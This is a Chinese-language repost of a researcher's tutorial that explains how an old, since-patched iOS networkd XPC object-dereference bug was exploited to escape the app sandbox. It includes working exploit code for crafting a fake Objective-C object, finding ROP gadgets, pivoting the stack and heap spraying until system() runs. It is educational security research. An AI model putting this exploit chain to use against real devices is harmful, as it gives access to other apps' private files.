蒸米是阿里巴巴的移动安全工程师,香港中文大学博士,也是发现并命名了XcodeGhost的人。这次他所在的iOS安全小组发现了影响最新版iOS 9.3的0day漏洞。此漏洞杀伤力巨大,在非越狱手机上一个app应用可以利用这个漏洞做到读取或者修改沙盒外其他app的文件(照片,聊天记录等)。
蒸米并未利用此漏洞牟利,而是先公开DEMO,然后再提交给苹果,然后再一点点介绍技术细节。等最终完整的技术细节出来的时候,这个漏洞应该已经无法有什么实质性的危害了。
这,就是一个「白帽子」的职业操守和理想。
感谢蒸米的分享和授权,本文的所有打赏归蒸米所有,以下是文章正文。
在这里我还是要推荐下我自己建的iOS开发学习群:680565220,群里都是学ios开发的,如果你正在学习ios ,小编欢迎你加入,今天分享的这个案例已经上传到群文件,大家都是软件开发党,不定期分享干货(只有iOS软件开发相关的),包括我自己整理的一份2018最新的iOS进阶资料和高级开发教程
0x00 序
冰指的是用户态,火指的是内核态。如何突破像冰箱一样的用户态沙盒最终到达并控制如火焰一般燃烧的内核就是《iOS 冰与火之歌》这一系列文章将要讲述的内容。这次给大家带来的是利用 XPC 突破 app 沙盒,并控制其他进程的 pc(program counter)执行 system 指令。
《iOS 冰与火之歌》系列的目录如下:
Objective-C Pwn and iOS arm64 ROP
在非越狱的 iOS 上进行 App Hook(番外篇)
App Hook 答疑以及 iOS 9 砸壳(番外篇)
利用 XPC 过 App 沙盒
█████████████
另外文中涉及代码可在我的 github 下载:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE
0x01 什么是 XPC
在 iOS 上有很多 IPC(内部进程通讯) 的方法,最简单最常见的 IPC 就是 URL Schemes,也就是 app 之间互相调起并且传送简单字符的一种机制。比如我用[[UIApplication sharedApplication] openURL:url]
这个 api 再配合 “alipay://
“, “wechat://
” 等 url,就可以调起支付宝或者微信。
今天要讲的 XPC 比 URLScheme 要稍微复杂一点。XPC 也是 iOS IPC 的一种,通过 XPC,app 可以与一些系统服务进行通讯,并且这些系统服务一般都是在沙盒外的,如果我们可以通过 IPC 控制这些服务的话,也就成功的做到沙盒逃逸了。App 在沙盒内可以通过 XPC 访问的服务大概有三四十个,数量还是非常多的。
想要与这些 XPC 服务通讯我们需要创建一个 XPC client,传输的内容要与 XPC service 接收的内容对应上,比如系统服务可能会开这样一个 XPC service:
#!objc
xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example",NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {// Connection dispatchxpc_connection_set_event_handler(peer, ^(xpc_object_t event) {// Message dispatchxpc_type_t type = xpc_get_type(event);if (type == XPC_TYPE_DICTIONARY){//Message handler}});xpc_connection_resume(peer);});xpc_connection_resume(listener);
如果我们可以在沙盒内进行访问的话,我们可以通过建立 XPC 的客户端进行连接:
#!objc
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.xpc.example",NULL, 0);xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});xpc_connection_resume(client);xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);xpc_dictionary_set_uint64 (message, "value", 0);xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);
运行上述程序后,在 server 端那边就可以收到 client 端的消息了。
我们知道,xpc 传输的其实就是一段二进制数据。比如我们传输的 xpc_dictionary 是这样的:
实际传输的数据确是这样的(通过 lldb,然后break set --name _xpc_serializer_get_dispatch_mach_msg
就可以看到):
可以看到这些传输的数据都经过序列化转换成二进制 data,然后等 data 传递到系统 service 的服务端以后,再通过反序列化函数还原回原始的数据。
我们知道正常安装后的 app 是 mobile 权限,但是被 sandbox 限制在了一个狭小的空间里。如果系统服务在接收 XPC 消息的时候出现了问题,比如 Object Dereference 漏洞等,就可能让 client 端控制 server 端的 pc 寄存器,从而利用 rop 执行任意指令。虽然大多数系统服务也是 mobile 权限,但是大多数系统服务并没有被 sandbox,因此就可以拥有读取或修改大多数文件的权限或者是执行一些能够访问 kernel 的 api 从而触发 panic。
0x02 Com.apple.networkd Object Dereference 漏洞分析
Com.apple.networkd 是一个 app 沙盒内可达的 xpc 系统服务。这个服务对应的 binary 是 /usr/libexec/networkd。我们可以通过 ps 看到这个服务的权限是 _networkd:
虽然没有 root 权限,但是也几乎可以做到沙盒外任意文件读写了。在 iOS 8.1.3 及之前版本,这个 XPC 系统服务存在 Object Dereference 漏洞,这个漏洞是由 Google Project Zero 的 IanBeer 发现的,但他给的 poc 只是 Mac OS X 上的,并且 hardcode 了很多地址。而本篇文章将以 iphone 4s, arm32, 7.1.1 为测试机,一步一步讲解如何找到这些 hardcode 的地址和 gadgets,并利用这个漏洞做到 app 的沙盒逃逸。
问题出在 com.apple.networkd 这个服务的char *__fastcall sub_A878(int a1)
这个函数中,对传入的”effective_audit_token
” 这个值没有做类型校验,就直接当成 xpc_data 这种数据类型进行解析了:
然而如果我们传过去的值并不是一个 xpc_data,networkd 也会当这个值是一个 xpc_data,并传给_xpc_data_get_bytes_ptr()
来进行解析:
解析完成后,无论这个对象是否符合 service 程序的预期,程序都会调用_dispatch_objc_release()
这个函数来 release 这个对象。因此,我们就想到了是否可以伪造一个 objective-C 的对象,同时将这个对象的 release() 函数给加入到 cache 里,这样的话,在程序 release 这个对象的时候,就可以控制 pc 指针指向我们想要执行的 ROP 指令了。
是的,这个想法是可行的。首先我们要做的是根据数据传输的协议(通过反编译 networkd 得到)构造相应的 xpc 数据:
#!objc
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);xpc_dictionary_set_uint64(dict, "type", 6);
xpc_dictionary_set_uint64(dict, "connection_id", 1);xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);uint32_t uuid[] = {0x0, 0x1fec000};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);xpc_dictionary_set_value(dict, "parameters", params);xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(dict, "state", state);
随后我们可以使用NSLog(@"%@",dict);
将我们构造好以后的 xpc 数据打印出来:
除了 effective_audit_token 以外的其他数据都是正常的。为了攻击这个系统服务,我们把effective_audit_token
的值用xpc_dictionary_set_uuid
设置为{0x0, 0x1fec000};
。0x1fec000 这个地址保存的将会是我们伪造的 Objective-C 对象。构造完 xpc 数据后,我们就可以将数据发送到 networkd 服务端触发漏洞了。但如何构造一个伪造的 ObjectC 对象,以及如何将伪造的对象保存到这个地址呢?请继续看下一章。
0x03 构造 fake Objective-C 对象以及 Stack Pivot
首先我们需要通过伪造一个 fake Objective-C 对象和构造一个假的 cache 来控制 pc 指针。这个技术我们已经在《iOS 冰与火之歌 – Objective-C Pwn and iOS arm64 ROP》中介绍了。简单说一下思路:
第一步,我们需要找到 selector 在内存中的地址,这个问题可以使用NSSelectorFromString()
这个系统自带的 API 来解决,比如我们需要用到”release” 这个 selector 的地址,就可以使用NSSelectorFromString(@"release")
来获取。
第二步,我们要构建一个假的 receiver,假的 receiver 里有一个指向假的 objc_class 的指针,假的 objc_class 里又保存了假的 cache_buckets 的指针和 mask。假的 cache_buckets 的指针最终指向我们将要伪造的 selector 和 selector 函数的地址。这个伪造的函数地址就是我们要执行的 ROP 链的起始地址。
最终代码如下:
#!objc
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;
hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
hs->fake_cache_bucket.cached_function = start address of ROP chain
既然通过 fake Objective-C 对象,我们控制了 xpc service 的 pc,我们就可以在 sandbox 外做些事情了。但因为 DEP 的关系,如果我们没有给 kernel 打 patch,我们并不能执行任意的 shellcode。因此我们需要用 ROP 来达到我们的目的。虽然 program image,library,堆和栈等都是随机,但好消息是dyld_shared_cache
这个共享缓存的地址开机后是固定的,并且每个进程的dyld_shared_cache
都是相同的。这个dyld_shared_cache
有好几百 M 大,基本上可以满足我们对 gadgets 的需求。因此我们只要在自己的进程获取dyld_shared_cache
的基址就能够计算出目标进程 gadgets 的位置。
dyld_shared_cache
文件一般保存在 /System/Library/Caches/com.apple.dyld/ 这个目录下。我们下载下来以后,可以使用 jtool 将里面的 dylib 提取出来。比如我们想要提取 CoreFoundation 这个 framework,就可以使用:
jtool -extract CoreFoundation ./dyld_shared_cache_armv7
随后就可以用 ROPgadget 这个工具来搜索 gadget 了。如果是 arm32 位的话,记得加上 thumb 模式,不然默认是按照 arm 模式搜索的,gadget 会少很多:
ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb
接下来我们需要找到一个用来做 stack pivot 的 gadget,因为我们刚开始只控制了有限的几个寄存器,并且栈指针指向的地址也不是我们可以控制的,如果我们想控制更多的寄存器并且持续控制 pc 的话,就需要使用 stack pivot gadget 将栈指针指向一段我们可以控制的内存地址,然后利用 pop 指令来控制更多的寄存器以及 PC。另一点要注意的是,如果我们想使用 thumb 指令,就需要给跳转地址 1,因为 arm CPU 是通过最低位来判断是 thumb 指令还是 arm 指令的。我们在 iphone4s 7.1.2 上找到的 stack pivot gadgets 如下:
#!objc
/*
__text:2D3B7F78 MOV SP, R4
__text:2D3B7F7A POP.W {R8,R10}
__text:2D3B7F7E POP {R4-R7,PC}
*/hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));
因为进行 stack pivot 需要控制 r4 寄存器,但最开始我们只能控制 r0,因此我们先找一个 gadget 把 r0 的值赋给 r4,然后再调用 stack pivot gadget:
#!objc
/*0x2dffc0ee: 0x4604 mov r4, r00x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58]0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28>0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c]0x2dffc0f6: 0x4788 blx r1
*/
hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr
NSLog(@"hs->fake_cache_bucket.cached_function = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));
经过 stack pivot 后,我们控制了栈和其他的寄存器,随后我们就可以调用想要执行的函数了,比如说用 system 指令执行”touch /tmp/iceandfire
”。当然我们也需要找到相应的 gadget,并且在栈上对应的正确地址上放入相应寄存器的值:
#!objc
// 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6strcpy(hs->command, "touch /tmp/ iceandfire");
hs->r4=(uint32_t)&hs->command;
hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
hs->pc = CoreFoundation_base+0xd3842+1;
NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));
最终我们伪造的 Objective-C 的结构体构造如下:
#!objc
struct heap_spray {void* fake_objc_class_ptr;uint32_t r10;uint32_t r4;uint32_t r5;uint32_t r6;uint32_t r7;uint32_t pc;uint8_t pad1[0x3c];uint32_t stack_pivot;struct fake_objc_class_t {char pad[0x8];void* cache_buckets_ptr;uint32_t cache_bucket_mask;} fake_objc_class;struct fake_cache_bucket_t {void* cached_sel;void* cached_function;} fake_cache_bucket;char command[1024];
};
0x04 堆喷 (Heap Spray)
虽然我们可以利用一个伪造的 Objective-C 对象来控制 networkd。但是我们需要将这个对象保存在 networkd 的内存空间中才行,并且因为 ASLR(地址随机化)的原因,我们就算能把伪造的对象传输过去,也很难计算出这个对象在内存中的具体位置。那么应该怎么做呢?方法就是堆喷 (Heap Spray)。虽然 ASLR 意味着每次启动服务,program image,library,堆和栈等都是随机。但实际上这个随机并不是完全的随机,只是在某个地址范围内的随机罢了。因此我们可以利用堆喷在内存中喷出一部分空间 (尽可能的大,为了能覆盖到随机地址的范围),然后在里面填充 n 个 fake Object 就可以了。
我进行漏洞测试的环境是,iPhone4s (arm 32 位) 7.1.2,我们选择了 0x1fec000 这个地址,因为经过多次堆喷测试,这个地址可以达到将近 100% 的喷中率。堆喷的代码如下:
#!objc
void* heap_spray_target_addr = (void*)0x1fec000;struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 0x00, 0x1000);size_t heap_spray_pages = 0x2000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);for (int i = 0; i < heap_spray_pages; i++){memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}xpc_connection_t client = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {xpc_type_t t = xpc_get_type(response);if (t == XPC_TYPE_ERROR){printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));}printf("received an event\n");});xpc_connection_resume(client);xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
xpc_connection_send_message(client, dict);
随后我们编译执行我们的 app,app 会将 fake ObjectiveC 对象用堆喷的方式填充到 networkd 的内存中,随后 app 会触发 object dereference 漏洞来控制 pc,随后 app 会利用 rop 执行system("touch /tmp/iceandfire")
指令。运行完 app 后,我们发现在 /tmp/ 目录下已经出现了 iceandfire 这个文件了,说明我们成功突破了沙盒并执行了 system 指令:
0x05 总结
这篇文章我们介绍了如何利用 XPC 突破沙盒,进行堆喷,控制系统服务的 PC,并且利用 ROP 进行 stack pivot,然后执行 system 指令。突破沙盒后,虽然不能安装盗版的 app,但一个 app 就可以随心所欲的增删改查其他 app 的文件和数据了,有种 android 上 root 的感觉。 虽然这个漏洞已经在 8.1.3 上修复了,但不代表以后不会出现类似的漏洞。比如我们发现的这个 iOS 9.3 0day 就可以轻松突破最新版的 iOS 沙盒获取到其他 app 的文件:
但由于漏洞还没有被修复,所以我们暂时不会公布漏洞细节,想要了解更多关于 iOS 0day 漏洞的信息欢迎关注我的微博 @蒸米spark。
最后感谢龙磊和黑雪对这篇文章的指导和帮助。另外文中涉及代码可在我的 github 下载:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE
0x06 参考资料
Ianbeer, Auditing and Exploiting Apple IPC
Pangu, Review and Exploit Neglected Attack Surface in iOS 8